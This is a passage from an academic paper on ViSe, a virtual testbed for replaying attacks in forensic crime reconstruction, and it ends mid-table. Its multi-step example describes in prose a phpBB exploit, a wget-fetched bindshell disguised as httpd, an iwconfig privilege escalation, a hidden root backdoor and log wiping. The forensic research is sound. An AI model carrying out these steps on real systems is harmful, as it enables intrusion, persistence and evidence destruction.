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Abstract This paper presents ViSe, a virtual secu-
rity testbed, and demonstrates how it can be used to
efficiently study computer attacks and suspect tools as
part of a computer crime reconstruction. Based on a
hypothesis of the security incident in question, ViSe
is configured with the appropriate operating systems,
services, and exploits. Attacks are formulated as event
chains and replayed on the testbed. The effects of each
event are analyzed in order to support or refute the
hypothesis. The purpose of the approach is to facili-
tate reconstruction experiments in digital forensics. Two
examples are given to demonstrate the approach; one
overview example based on the Trojan defense and
one detailed example of a multi-step attack. Although
a reconstruction can neither prove a hypothesis with
absolute certainty, nor exclude the correctness of other
hypotheses, a standardized environment, such as ViSe,
combined with event reconstruction and testing, can
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lend credibility to an investigation and can be a great
asset in court.

1 Introduction

Digital forensics is gaining importance with the increase
of cybercrime and fraud on the Internet. Tools and meth-
odologies for digital forensics with the soundness nec-
essary for presentation in court are in high demand. In
this paper, we describe the use of the Virtual Security
Testbed (ViSe) [1] as a tool in digital forensic reconstruc-
tion. We present a testbed and methodology for testing
computer attack tools, as a digital analogy to testing evi-
dence dynamics in physical forensics. The basic idea is
to provide an infrastructure where specific attacks can
be studied in a way similar to testing the ballistics of a
firearm in order to establish its properties. The goal of
this approach is to be able to perform testing in a foren-
sically sound manner such that the test results may be
presented in court, supporting or refuting a hypothesis
regarding a particular sequence of events.

The traditional focus in digital forensics has been on
identification (using e.g. National Software Reference
Library (NSRL) [2] and Chkrootkit [3]), acquisition
(using e.g. Dcfldd [4], and TCPdump [5]), and analysis of
evidence (using e.g. Memparser [6]). Common forensic
operations include, for example, the recovery of deleted
files, string searches, searches for known files, and pass-
word recovery. Integrated digital forensic applications
such as EnCase [7], ILook [8], Sleuthkit [9], and Access-
Data Forensic ToolKit [10] implement a wide range of
digital forensic capabilities in a single application. Some
attacks (such as the Bradley virus [11]) are, however,
designed to leave few or no tracks of their existence, and
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they consequently are difficult or impossible to analyze
with current tools. Such tools are often referred to as
anti-forensics tools in this context.

Recently, there has been an increasing interest in
more sophisticated methodologies for forensic analy-
sis, including crime scene reconstructions (see [12]) and
studies of evidence dynamics. Broucek and Turner [13]
have argued that the current approaches to digital foren-
sics (or forensic computing) are severely limited due to
the lack of coherent frameworks and approaches for
digital forensics and that new procedures to understand
and model competing requirements are needed. In this
paper, we develop a method for experimental testing in
digital forensic reconstructions.

Central to the discussion is the trade-off between
the desired detail of the reconstruction and the diffi-
culty of performing the reconstruction experiments. The
approach taken in this paper is to study the most signifi-
cant aspects of a digital crime or a suspect tool using min-
imal resources in terms of time and equipment. Other
approaches, such as physical testbeds or simulations,
may be more useful in some cases, as discussed in Sect. 7.

This paper is organized as follows. Section 2 presents
background information about the forensic methodol-
ogy of crime scene reconstruction and various types of
testbeds, as well as some related work. Section 3 presents
the terminology and methodology used in this paper.
Section 4 provides a detailed description of the security
testbed ViSe, as well as a discussion of the use of virtual-
ization in security and forensic testing. Sections 5 and 6
provide examples of the approach based on the Tro-
jan defense and a multi-step attack, demonstrating how
ViSe can be applied to digital forensic reconstruction
testing. Some considerations of the approach are dis-
cussed in Sect. 7, and the paper is concluded in Sect. 8.

2 Background

In this section, we present the forensic methodology of
crime scene reconstructions, a discussion of different
types of testbeds, as well as an overview of related work.

2.1 Crime scene reconstruction

Crime scene reconstruction (or crime reconstruction)1

is a fairly new development in forensic science, as dis-
cussed in [14,15]. The purpose of the method is to deter-
mine the most probable hypothesis or sequence of events
by applying the scientific method to interpret the events

1 Note that a crime reenactment is unrelated to a crime scene
reconstruction.

that surround the commission of a crime [15]. The basic
approach is to state the problem, form a hypothesis, col-
lect data, test the hypotheses, follow up on the most
promising hypothesis, and finally draw conclusions sup-
ported by admissible evidence. The analysis may involve
the use of logical reasoning [15] and statistical analy-
sis [16,17], as well as domain knowledge about people,
criminology, etc. The conclusions of a crime scene recon-
struction are usually given with a level of certainty asso-
ciated with the different hypotheses, indicating the level
of evidentiary value.

Carrier and Spafford have proposed an “event-based
digital forensic investigation framework” [12] and a
method for “event reconstruction of digital crime
scenes” [18]. They propose a five step process:

1. Evidence examination: a full examination of the evi-
dence aimed at identifying and characterizing evi-
dence relevant to an incident.

2. Role classification: examine the role of the evidence
as a cause or effect of one event.

3. Event construction and testing: identification of
events based on the available evidence and testing of
whether the events are possible.

4. Event sequencing: the linking of multiple events into
event chains.

5. Hypothesis testing: the hypotheses about the inci-
dent are tested.

In this paper, we discuss a way to test events in a foren-
sically sound manner using an isolated virtual environ-
ment (ViSe). A hypothesis is made based on available
digital evidence and then tested in the ViSe virtual test-
bed. The hypothesized attack is replayed, and an analysis
of all available data (storage media and volatile mem-
ory of all involved hosts, as well as network traffic) may
support or refute the hypothesis. In this way, we show
how replaying events in a virtual environment can help
identify the causes, effects, and internal workings of sim-
ple or multi-step attacks. Using Carrier and Spafford’s
model, this approach may be seen as part of the event
construction and testing, but it is primarily directed at
performing experiments related to the event sequenc-
ing. We refer to this as a reconstruction experiment.

2.2 On testbeds

We can group testbeds for performing reconstruction
experiments into physical testbeds, virtual testbeds, and
simulated testbed. With physical testbeds, one tries to
create a testbed that is as close to identical to the crime
scene as possible, in terms of hardware and software con-
figurations. This is obviously an expensive and resource
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demanding approach, but it may be necessary for some
reconstructions.

A virtual testbed uses virtualization software to emu-
late the digital crime scene. The entire crime scene,
including hosts and networks, can be emulated on a sin-
gle host. This approach has significant advantages over a
physical testbed in terms of resource use and efficiency,
but there are some experiments that cannot reliably be
reproduced on virtual testbeds.

If the reconstruction is complex and involves a large
number of hosts and events, a useful approach can be
to model and simulate the events. This approach can be
useful when investigating e.g., worm attacks and DDoS
attacks. The advantage of this method is that it can focus
on the most relevant mechanisms of an attack. However,
this method cannot approach the level of detail provided
by physical and virtual testbeds.

2.3 Related work

Formal frameworks for the reconstruction of digital
crime scenes are discussed by Stephenson [19] and
Gladyshev et al. [20]. Stephenson uses a Petri Net
approach to model worm attacks in order to identify
the root cause of an attack. Gladyshev et al. present a
state machine approach to model digital events. Their
approach uses a generic event reconstruction algorithm
and a formal methodology for reconstructing events in
digital systems. In contrast, our approach sets up a vir-
tual digital crime scene in order to replay the digital
events in a realistic fashion. Therefore, our approach is
complimentary to those of Stephenson and Gladyshev
et al.

A significant challenge in digital forensics is to achieve
automated evidence analysis and automated event
reconstruction. Stallard and Levitt [21,22] have pro-
posed an expert system using a decision tree to search
for violations of known assumptions about data rela-
tionships, and Abbott et al. [23] have proposed a frame-
work for scenario matching in forensic investigations
based on transaction logs with automated recognition
of event scenarios based on a stored event database.
These approaches do not suggest replaying the scenar-
ios on a testbed, but the output of their systems could be
used as a basis for realistic testing in ViSe. This would
provide a far more thorough analysis and a more con-
vincing case in court. Elseasser and Tanner [24] have
proposed an automated diagnosis system that generates
possible attack sequences based on profiles of the victim
host configuration and of the unauthorized access gained
by the attacker. The hypothesized attack sequences are
simulated on a model of the victim network, and a suc-
cessful simulation indicates that the attack sequence

could feasibly lead to unauthorized access. Our approach
performs the replay on virtual systems rather than per-
forming simulations, but the general approach of
hypothesis generation could be combined with our
approach. Neuhaus and Zeller [25] have recently pro-
posed a method for automatically isolating processes
that are necessary for an intrusion to occur. They pro-
pose to capture system calls on a live host and then
replay these on a testbed. Their implementation,
Malfor, has proved able to identify both the root cause
and all intermediate steps needed to reproduce an attack.
This approach is designed for real-time use, but it could
be combined with our approach to include system calls in
the analysis and to automate the reconstruction
analysis.

Virtualization is frequently used in security research,
primarily because of the flexibility and the small resource
requirements. As an example, [26] discusses the use of
VMware and the forensic tool SMART for recreating
a suspect’s computer. Our approach takes this idea fur-
ther by emulating the entire digital crime scene as part
of a digital event reconstruction. Virtualization is also
frequently used by the honeypot community. Low-inter-
action honeypots, such as Honeyd [27], often have built-
in virtualization of services, whereas high-interaction
honeypots, such as honeynets [28], are often deployed
using full operating system virtualization. See also [29]
for a discussion of the advantages and disadvantages of
VMware in the context of honeypots.

Recent security testbeds include LARIAT [30],
LLSIM [31], Netbed [32], Deter [33], and vGrounds [34].
LARIAT is the first simulated platform for testing intru-
sion detections systems, and LLSIM is its virtualized
descendant. Netbed is a simulation environment that
served as the predecessor to Deter, a cluster testbed.
vGrounds is a virtual environment based on UML (User
Mode Linux) [35]. These testbeds provide large-scale
simulation at the cost of the accuracy and the number
of operating systems and services supported. Section 7.3
discusses cases where this approach may be useful. ViSe
supports more exact system and network interaction on
a wider range of operating systems. ViSe images are
provided in a large library of pre-configured attacks
and vulnerable services on common operating systems.
ViSe also includes an intrusion detection system (IDS)
to identify the manifestations of an attack.

3 Terminology and methodology

The digital crime scene can consist of a number of com-
puting and storage devices, as well as the network con-
necting them. We specifically consider that the digital
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crime scene consists of a number of computer systems,
divided into three categories: namely attack hosts, vic-
tim hosts, and third-party hosts. The third-party hosts
may, for instance, include network or security services
that perform logging, or other service providers such
as certification authorities. All evidence is analyzed on
analysis hosts, which are not part of the digital crime
scene.

Digital evidence is any digital data that contains reli-
able information that supports or refutes a hypothesis
about an incident. Digital evidence may be found on the
hard drives or in the volatile memory of all the involved
hosts, as well as in captured network traffic, referred to
as network dumps. A variant of the network dump is
preprocessed network traffic, such as network intrusion
detection system alert logs. All analysis is assumed to be
performed on copies of the evidence in order to preserve
the integrity of the evidence.

An event e is an occurrence that changes the state
of a computing system. A crime or incident is an event
that violates policy or law. An event chain E = e1, . . . , en

is a sequence of events with a causal relationship. The
latter definitions are adopted from [12,18]. Evidence
dynamics is described in [14] to be “any influence that
changes, relocates, obscures, or obliterates physical evi-
dence, regardless of intent”. A central issue in evidence
dynamics is to identify the causes and effects of events.
The evidence dynamics of different digital media varies.
A file can be modified or deleted, and timestamps can
be updated. Unallocated data on a disk can be overwrit-
ten, and volatile memory can be overwritten or moved
to pagefiles. Data transmitted on a network may leave
traces in log files and monitoring systems.

Our approach to performing reconstruction experi-
ments starts with a hypothesis, H1, stating that one or
more tools have been run as part of an attack, and a
null hypothesis, H0, stating that the hypothesized events
have not occurred (e.g., the attack has not occurred).2

The corresponding event chain is then replayed on the
testbed. Following execution, the virtual environment is
analyzed to find the effects of the events. These effects
are in turn compared to the actual digital evidence. The
purpose is to replay the suspected attacks in a controlled
environment in order to study the causes and effects
of the events involved in the attack. This allows us to
replay the attack in a forensically sound manner with-
out compromising the integrity of the original evidence
or relying on files that have been compromised by the
attacker.

2 This differs from our previous paper [36], where we did not
introduce a null hypothesis, and the main hypothesis was referred
to as H0.

As noted above, a multi-step attack can be studied as a
series of interconnected events, where the effects of one
event are the causes of the subsequent event. Although
the digital forensic reconstruction framework separates
causes and effects, differentiating between these may be
difficult in practice, as it may require exhaustive testing.
Using the terminology above, we therefore assume that
event ek+1 is the transition between state sk and sk+1.
That is, sk and sk+1 contain the causes and effects of
ek+1, respectively. Depending on the evidence dynamics
at play, an effect of one event can be superseded by the
effects of a later event. For example, if a file is modified
twice, only the latter modification will be represented in
the timestamp of the file. Another example occurs when
a file is first deleted and then overwritten by other data.

This framework can be used as a basis for statistical
hypothesis, and it is possible to assign probabilities to the
state transitions (i.e., event probabilities). In a statistical
context, we can consider the two types of errors. A type
I error refers to the case where the null hypothesis is
rejected when it is in fact true. A type II error refers to
the case where the null hypothesis is not rejected when
it is in fact false. This approach is taken in [17], and it
is not further considered in this paper. The use of sta-
tistical methods as part of the method described in this
paper is left for future work.

In some cases, there may be several competing
hypotheses about the chain of events leading to the dig-
ital evidence found in a digital crime scene. In this case,
each hypothesis is formulated and tested separately.
Based on the competing hypotheses H1, H2 . . . , Hm, the
tests may share one or more initial events. In this case,
the shared events need only be replayed once.

The methodology used in this paper for testing in
forensic reconstruction can be expressed as a five-step
process:

1. Configure testbed with appropriate software accord-
ing to a hypothesis.

2. Replay attack according to the hypothesis and save
snapshots for each state.

3. Acquire and verify images of all snapshots.
4. Perform analysis through the comparison of states.
5. Compare images to digital evidence to support or

refute the hypothesis.

The process is shown in Fig. 1 and can be reiterated for
alternative hypotheses.

4 Virtualization and the ViSe testbed

In this section, we review the criteria for a forensic
testbed and discuss the advantages of virtualization in
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Fig. 1 Method for testing in
forensic reconstructions

digital forensic testing. We give an overview of VMware
and the ViSe testbed3 [1] and consider integrity issues
using ViSe as a virtualization platform. We also discuss
the digital forensic image created to aid digital forensic
testing. The use of ViSe is further demonstrated through
specific examples in Sects. 5 and 6.

4.1 Virtualization

The main criteria for choosing a testbed are resource
demands, availability and usability, flexibility and effi-
ciency, forensic soundness, and similarity to the digital
crime scene [37]. While physical testbeds can most accu-
rately represent a digital crime scene, there is signifi-
cant overhead required for the setup, configuration, and
re-installation of the involved systems. Each hypothe-
sis requires a separate machine, and different hardware
must be obtained to provide complete coverage of the
systems involved in an attack. Furthermore, the imprac-
ticality of restoring a system to a previous state to test
an alternative but similar hypothesis is obvious.

Virtualization addresses these problems with negli-
gible overhead. A single computer can represent the
entire digital crime scene, emulating different operat-
ing systems, configurations, and services as necessary.
For example, Fig. 2 represents a single physical Fedora
Core 4 machine using VMware to emulate a virtual
network and three virtual operating systems running
Fedora Core 3. Virtualization environments are also
more portable and reusable. They can be shared between
multiple hosts, and once a configuration is made, it can
be restored later in an investigation or reused in other
investigations.

VMware 5.0 [38] was chosen as the emulation envi-
ronment for ViSe [1], because it contains several advan-
tages over other emulation environments such as

3 http://www.cs.ucsb.edu/∼rsg/ViSe/

Xen [39], Microsoft Virtual PC [40], and UML [35].
VMware is able to emulate both Linux and Windows,
as well as any other x86 operating system. Xen and
UML are limited to selected ports or currently available
operating systems. Neither Xen nor UML could emu-
late Windows platforms at the time of ViSe’s creation.
VMware and Microsoft Virtual PC are similar in scope
and application. However, Virtual PC runs on Windows
and Apple Macintosh systems, while VMware runs on
Windows and Linux systems. VMware was chosen over
Virtual PC because development in Linux provided the
most ideal environment for developing and testing mali-
cious attacks.

4.2 The ViSe testbed

The ViSe testbed was developed at UCSB to test attacks
on various vulnerable operating systems and to test
intrusion detection systems. ViSe originally contained
10 operating systems and a total of 40 exploits against
the programs running on them. The operating systems
included are Windows 2000, 2003, XP, Red Hat 6.2, 7.2,
SuSE 9.2, Debian 3.0, Fedora Core 3, FreeBSD 4.5, and
5.4. The exploits, as detailed in Table 1, 2, 3, 4 of [1],
are both local and remote attacks. ViSe was recently
extended with an additional 30 remote attacks from the
OWASP’s top ten web application vulnerabilities frame-
work [41], targeting 10 web applications running on both
Windows and Linux platforms.

One reason for choosing VMware to implement ViSe
is that the snapshot and cloning features of VMware
allow new images to be derived from old ones. When
using the snapshot feature, new snapshots are created
incrementally, i.e., only changes are stored in the new
snapshot file. The current ViSe tree requires 80 GB
for 70 separate system configurations derived from the
10 base operating system images. This is achieved by
using the snapshot feature to create new configurations
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Fig. 2 Illustration of a
Virtual Environment

of a system, which, in turn, provides a tremendous space
savings as compared to requiring a full install for each
configuration.

The snapshot feature allows for the creation of a
tree of successive changes derived from a base system.
Each tree represents a host involved in an attack, such
as attacker, victim, or IDS systems. New ViSe images
are added to a tree by making a snapshot with the
desired modifications based on a previous snapshot or
root image. Unfortunately, multiple systems derived
from the same tree cannot be run simultaneously. For
this purpose, it is necessary to use the full cloning fea-
ture in VMware to create a full image, which uses the
space requirements of both the new files and the old
configuration. The advantage of the cloning feature is
that cloned images can be run and distributed indepen-
dently of the ViSe tree, which allows the image and the
events in that image to be replicated by relevant parties.

When an attack is replayed, the attacker, detector,
and vulnerable images are booted, and the attack is run
as prescribed in its accompanying documentation. If the
attack damages the configuration of a particular image,
that image only needs to be restored and rebooted to
recover from the damage. Also, snapshots of the images
can be created and then restored, providing instanta-
neous recovery. This method results in both a signifi-
cant time savings and a decrease in storage requirements
compared to using physical systems to replay an attack.

4.3 Integrity issues

There are a number of integrity issues to be considered
related to using VMware as the virtualization
platform for ViSe. The first issue concerns data contam-
ination between the host and guest operating systems.

We have not been able to demonstrate such an issue on a
Fedora Core 3 system, but as a precautionary measure,
images should be isolated from each other by cloning
each image on a separate sanitized partition. Each new
cloned image becomes a new ViSe image root, which is
used to create new snapshots over empty memory. This
approach guarantees that there is no data contamina-
tion between the host and the guest operating systems
nor between the different guest systems. Note that ViSe
was initially designed to be simple with minimal space
requirements, and the integrity of the images was not a
primary consideration. As a result, the first ViSe images
were created on un-sanitized host partitions.

It should be noted that VMware image files are pro-
prietary, and thus they are not identical copies of system
disks or partitions. In this paper, we are only concerned
with the file systems contained in the VMware image
files, and not with the VMware-files themselves. We
perform the testing in VMware, and the forensic acqui-
sition in preparation for analysis is either performed
in VMware or by using the vmware-mount.pl tool
for mounting VMware images. The integrity of the disk
images can be verified using one-way hash functions
such as MD5, SHA-1 or SHA256, which provide the
necessary integrity for our purposes.4

Another integrity issue that should be considered is
the virtual network used to connect the images. VMware
allows several different types of network connectivity
options: bridged to a physical device, a NAT to the host’s
IP address, virtual image to host-only, and custom [38].
Only bridged networking connects the virtual network
to the physical network. This allows transparent connec-
tions between virtual and physical hosts. Because the
extent of all attacks was known and documented during

4 Recent research has uncovered weaknesses in MD5 [42].
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the creation of ViSe, images were created using static IP
addresses in the subnet of their host system. In general,
however, the testbed host operating system should be
disconnected from any external networks. In particular,
if the guest operating system is able to reach external
networks, the test may be compromised, and malicious
code could spread from the testbed.

The third integrity issue is the “shared folders” fea-
ture of VMware. This feature is used to allow file trans-
fers between the host and guest systems [38]. During
ViSe’s construction, this feature was enabled to simplify
the transfer of files and data. During forensic recon-
struction, it should be disabled to prevent cross-con-
tamination between the host and guest system. It can
be re-enabled for the purpose of analysis to facilitate
external analysis and to review the results outside of
ViSe (see Sect. 4.4).

The last integrity issue involves the similarity of
attacks in the virtual testbed to attacks on physical
machines. Most importantly, only a limited amount of
hardware devices is supported by the virtualization
engines. If the attack depends on hardware that is not
emulated by the virtual machine, the attack may not be
reproducible on a virtual testbed. Furthermore, sophis-
ticated attacks could detect and respond to the presence
of VMware and other forensic tools [43], for example
by breaking out of VMware and accessing the host
system [44]. Another potential problem is anti-foren-
sic attacks, which purposely attempt to thwart forensic
investigations [45], for example by generating excess or
confusing signatures, through the use of encryption and
steganography, or through the use of techniques that are
very difficult to analyze (see e.g., [11]) in order to make
event reconstruction difficult. Attacks such as these are
uncommon and require special consideration. They are
not considered in this paper.

4.4 The Virtual forensic analysis image

In order to be able to handle the test images in a forensi-
cally sound manner, a forensic analysis system has been
added to ViSe. The main purpose of this system is to
acquire copies of hard drive images from the test sys-
tems (using dcfldd),5 as well as to provide a verifica-
tion of the integrity of the copies (using tools such as
md5sum and sha256sum).

The forensic analysis system is built on Fedora Core 3,
and it is installed as a new root in the ViSe tree to
avoid any conflicts with the test images. Such a conflict
could, for example, occur if the LVM (Logical Volume

5 dcfldd is a forensic version of the GNU tool dd, commonly
used for copying disks and partitions.

Manager) is used. LVM requires that the id of the
underlying physical volumes be unique when the vol-
umes are mounted. Unfortunately, VMware’s cloning
and snapshot features retain the LVM id of the root
image. Therefore, if the forensic analysis image was
added to a ViSe tree, it could not mount any other
images of that same tree, because the LVM id would
already be present.

In order to avoid contamination between the exter-
nal network and the forensic analysis system, the virtual
forensic analysis system is configured without a virtual
network interface. As an additional precaution, the host
operating system can be physically disconnected from
the network during the analysis.

A virtual disk can be analyzed in VMware by add-
ing it as a disk to the forensic analysis system. This disk
should be provided as an independent and non-persis-
tent disk, in order to prevent any changes to the image.
Because VMware requires write access to its virtual disk
images, the forensic analyst has to mount them in read-
only mode to assure that the file systems of those images
are not changed.

It must be noted that in VMware it is not possible to
take a snapshot of a system with an independent disk,
mount an independent disk in a snapshot, or mount sev-
eral instances of different snapshots based on the same
base image. The image acquisition either has to be per-
formed sequentially (by rebooting the virtual analysis
host for each disk image to be analyzed) or by creating
a full disk clone for each snapshot. By using the latter
method, several disks can be mounted at once.

The images to be analyzed are copied to a “shared
folder” directory using dcfldd. After all the images
have been acquired and verified, the forensic analy-
sis can be performed outside ViSe. The primary rea-
son for this is that there is a significant performance
penalty in performing the analysis in a virtual environ-
ment (see Sect. 7.3). By performing the analysis outside
ViSe, the results are also available for external analysis
and review.

5 Scenario: “The Trojan Did It!”

A common theme in digital forensics is the “Trojan
Defense”, where a defender claims that his computer
was hijacked by another party and used to commit a
crime. This defense has been successfully used to achieve
acquittal in criminal cases [46,47,17]. This Section pro-
vides an overview of an event reconstruction experiment
related to such a defense. In Sect. 6, we provide a more
detailed example with practical results.
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Fig. 3 State diagram for worm attack scenario

Consider the example where the defender accused of
causing a denial-of-service (DoS) attack on a web server
claims that his computer was attacked and compromised
by the W32/Blaster worm [48]. The W32/Blaster worm
has a backdoor component that was allegedly used to
launch the web server attack from the host. Based on
this, a forensic investigator can formulate a hypothesis
that corresponds to the defense:

The defender’s host running Windows XP has been
infected by the W32/Blaster worm. The W32/Blaster
worm has opened a backdoor on the host, which has been
exploited by an external attacker running Linux Fedora
Core 3. By using the backdoor, the attacker has launched
a DoS-attack on a web server on the Internet.

If this hypothesis is validated, it can support the case
of the defense. On the other hand, if the hypothesis
is refuted, the case of the defense is weakened. The
hypothesis can be seen as an event chain, as illustrated in
Fig. 3. This event chain has three events: e1 corresponds
to the worm infection, e2 corresponds to an attacker
using the worm’s backdoor, and e3 corresponds to an
outbound attack launched through the backdoor. The
four states s0, s1, s2, and s3 correspond to the states. The
model is an abstraction of the involved incidents, and
we could obviously create a more detailed event chain
if necessary.

In statistical analysis, a type I error would, for exam-
ple, correspond to the case where the hypothesis is
accepted, even though the worm infection (e1) did not
take place (i.e., a false positive). A type II error would,
for example, correspond to the case where the null
hypothesis is not rejected, even though the worm infec-
tion (e1) actually took place (i.e., a false negative).

The investigators can now perform a reconstruction
experiment according to the process in Fig. 1. The test-
bed is configured with a virtual network and the follow-
ing hosts:

• Worm source: Windows XP, infects the defender’s
host with W32/Blaster.

• Worm payload source.
• Attacker’s host: Linux Fedora Core 3.
• Defender’s host: Windows XP host.
• Web server: MS IIS, target of DoS attack.

Fig. 4 Acquisition and analysis for worm attack scenario

Based on the specifics of the attack, third-party hosts,
such as DNS servers, may have to be included as well.

The attack is replayed according to the hypothesis, as
shown in Fig. 4. A VMware snapshot is taken for each
of the involved hosts for every state. These snapshots
are then copied to images in a forensically sound fash-
ion for analysis. Timestamps and hash-sums are taken of
all the images for verification purposes. Based on these
images, subsequent states are compared in order to iden-
tify all changes between two states. These changes are
the effects of an event. As previously mentioned, some
effects can be superseded by the effects of later events.

Finally, the results of the experiment are compared
to the digital evidence acquired from the actual crime
scene. If the findings of the experiment are consistent
with the digital evidence, the experiment provides
support for the defender’s case. Otherwise, a new experi-
ment should be run based on new or modified
hypotheses.

6 Scenario: a multi-step attack

In this section we demonstrate the use of the ViSe test-
bed for testing a multi-step attack. The attacks are cho-
sen from the database of attacks available in the ViSe
testbed. As part of a criminal investigation, it is neces-
sary to determine the chain of events in a forensically
sound manner. Based on the available evidence in the
digital crime scene, a digital forensic reconstruction is
initiated and an initial hypothesis is stated:

An attack host running Fedora Core 3 has launched
and completed a multi-step attack against the victim host
running Fedora Core 3. The multi-step attack consists of
an Nmap scan, an exploit of the phpBB 2.0.10 viewtop-
ic.php vulnerability, an installation of bindshell on port
12497 named httpd, an exploit of a vulnerable iwconfig
buffer overflow vulnerability, the creation of a non-root
user and root backdoor, and finally the removal of traces.
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In order to support or refute this hypothesis, we wish
to perform an isolated test of the multi-step attack. Vir-
tual systems similar to the ones in the hypothesis are
set up in ViSe, and the multi-step attack is replayed
as described below. When the test is finished, the ana-
lyst can compare the effects of the attack in the vir-
tual environment to the digital evidence in the digital
crime scene. If the identified effects do not support the
hypothesis, the hypothesis should be reformulated, and
the necessary test events should be replayed. It may be
necessary to include events that are not directly related
to the attack in the test, such as intentional evidence
manipulation (e.g., file modifications or deletions) and
regular user or system activities (e.g., rebooting and disk
defragmentation).

Note that the analyst does not need access to all the
hosts involved in the digital crime scene. The results
of the test can be compared to any available evidence.
However, the certainty of the results is reduced when
the digital evidence is incomplete.

6.1 Configuring ViSe for replaying the attack

To replay the attack, images are derived from snap-
shots in the ViSe library to represent the attack host,
a detector host, and a vulnerable host. Each image is
an installation of Fedora Core 3 with system config-
uration and files specific to its purpose. The attacker
represents the single host conducting all the stages of
the attack, including network scanning and vulnerabil-
ity exploitation. The detector image is running a Snort
2.4.3 IDS system. The vulnerable image snapshot is cre-
ated by adding a local system buffer overflow vulnera-
bility (iwconfig) to a predefined snapshot containing
a remote, web-based vulnerability (phpBB 2.1.10).
Both vulnerabilities are available in the ViSe library.
Each snapshot is then created into a full-clone on a
separate, zeroed-out partition, as discussed in Sect. 4.3.
Figure 5 shows the resulting forensic testbed.

6.2 Replaying the attack

The hypothesized event chain representing the attack
is divided into a number of discrete events, each lead-
ing to a new state. Each event leads to a state snap-
shot that can be examined independently in order to
determine the sequence of events leading to the final
image. The effects of an event are identified by find-
ing the differences between two successive states. The
attack is replayed as follows (the details of the attack
are provided in the Appendix):

Fig. 5 ViSe image tree for example attack

• Event 1: Network scan, port scan, and manual web
browsing by attacker. The attacker uses nmap to
determine the vulnerable host’s address and the open
ports on the victim. The attacker then uses the
ELinks web browser to visit the web page/phpBB2/
on the victim.

• Event 2: The attacker exploits the phpBB 2.0.10
viewtopic.php arbitrary code execution vulnerabil-
ity[49] and gains a remote shell on the victim host
with username apache.

• Event 3: The attacker retrieves a bindshell using
wget and executes it in /tmp. The name of the
bindshell is httpd, named to appear identical to
the default process run by apache. He then discon-
nects from his current remote shell and connects to
the listening port of the bindshell at port 12497.

• Event 4: The attacker searches for setuid programs
using find and discovers a vulnerable version of
iwconfig [50]. He retrieves an exploit using wget
and executes it, becoming root.

• Event 5: The attacker creates a non-root user bash
and uses wget to retrieve a backdoor named ”]”,
which he places in /usr/bin. He then disconnects
from the bindshell.

• Event 6: The attacker logs in as the newly created
user bash using ssh and becomes root using the back-
door. The attacker then kills his old bindshell, and
removes all traces in /tmp and /var/log.

Note that there is a trade-off between the granularity
of a reconstruction and the number of events. At the
most detailed level, every system call can be viewed as
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Fig. 6 State diagram for
multi-step attack

an event. At the other extreme, an entire attack can be
viewed as a single event.

6.3 Attack analysis and verification

When the attack is replayed, the different stages are rep-
resented by seven states, as shown in Fig. 6. Each state
consists of a snapshot for each host, and one state is
reached from the previous state by an event. Images of
all the snapshots are acquired in the ViSe forensic sys-
tem using the tooldcfldd. The analysis is performed on
a non-virtual host outside ViSe, as discussed in Sect. 4.4.

The attack is analyzed by comparing the states of the
attack sequentially. Every change between two states sk
and sk+1 is considered an effect of the corresponding
event ek+1. If the effect is superseded by a later event,
for instance through a file modification or file deletion,
only the latter effect is considered.

In this example, we present the results of the anal-
ysis in tables, where each row indicates the host, the
type of evidence, the name of the evidence identifier,
and what action has affected the evidence. We do not
claim completeness of the analysis results – the tables
are intended only to demonstrate the use of ViSe and
the reconstruction methodology. For the purpose of this
example, we only consider evidence found in the file
systems and log files of the victim host, as well as in the
network monitoring and intrusion detection system.

Table 1 shows the effects of the portscan on the victim
system, as well as on the network IDS. We see that the
activity has been logged in the system files, and the Snort
IDS classifies the activity as a “portscan”. The manual
web browsing has caused the web access log and two
database files related to PhpBB to be updated. The mod-
ified file/etc/cups/certs/0 is repeated throughout
the experiment, and seems to be an artifact of the Fedora
Core installation used.

In Table 2 we see further logging on the victim sys-
tem and three IDS alerts (including one outbound alert)
indicating a PHP-based attack. Both the web access log
and error log have been updated, and several PhpBB
database files have been modified.

Table 3 indicates that a command has been run as root
on the victim system and that a new file /tmp/httpd
has been generated. There is logging activity in several
system logs, but no IDS alerts have been triggered. The
network dump for the event indicates that the filehttpd
was downloaded by the victim host.

Table 4 shows the creation of two new files/tmp/iw-
config and /tmp/progs, as well as another IDS out-
bound alert. Also, the network dump indicates that the
file iwconfig was downloaded by the victim host.

In Table 5 the user database files are updated, and a
new home directory is created with the user-namebash,
and a new file “]” is created in /usr/bin. There are no
IDS alerts, but the network traffic indicates that another
file has been downloaded.

Finally, in Table 6 several files created during the
attack are deleted, and we see that an SSH connection
has been established. The attacker has logged in and
attempted to clean up the traces by deleting all the files
in /tmp and /var/log.

Based on these results, a comparison between the
tables and the digital evidence can be performed. Each
table entry that is not superseded by a later event can be
compared to the digital evidence in order to support or
refute the attack hypothesis. Note that there may be sev-
eral reasons why there is no match. The evidence of an
attack may have been changed, deleted, or overwritten,
depending on the evidence dynamics of the evidence in
question. It may be necessary to formulate an alterna-
tive hypothesis or add new events in order to explain
such discrepancies.

6.4 Multiple-hypothesis formulation

Assume that we do not find support for the hypothesis in
the original evidence. In this case, we can either accept
the null hypothesis (e.g., an attack has not occurred) or
formulate a new hypothesis. For instance, assume that
the effects of Event 4 (the iwconfig buffer overflow)
do not match the original evidence. In this case, we
develop a new hypothesis and replay the attack from
the last common state. We revert to the State 3 snapshot
and create a new state diagram, represented in Fig. 7.
Our new hypothesis can be stated as follows:

An attack host running Fedora Core 3 has launched
and completed a multi-step attack against the victim host
running Fedora Core 3. The multi-step attack consists of
an Nmap scan, an exploit of the phpBB 2.0.10 viewtop-
ic.php vulnerability, an installation of bindshell on port
12497 named httpd, an exploit of a cdrecord environment
variable privilege escalation vulnerability[51], the crea-
tion of a non-root user and root backdoor, and finally the
removal of traces.
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Table 1 Effects of Event 1

Host Type Name Action

V F /var/log/messages M
V F /var/log/httpd/access_log M
V F /var/log/secure M
V F /var/lib/mysql/mysql/phpbb_sessions.MYI M
V F /var/lib/mysql/mysql/phpbb_sessions.MYD M
V F /etc/cups/certs/0 M
T F /var/log/snort/snort.log.* C
T I (portscan) TCP Portsweep: Attacker C
T I (portscan) TCP Portscan: Attacker to Victim C
T N GET /phpBB2/ HTTP/1.1: Attacker to Victim:80 C

The following notation is used: A attack host, V victim host, T third-party host, F file, N network, I Snort IDS log, C create, M modify,
D delete

Table 2 Effects of Event 2

Host Type Name Action

V F /var/log/httpd/error_log M
V F /var/log/httpd/access_log M
V F /var/log/secure M
V F /var/lib/mysql/mysql/phpbb_sessions.MYI M
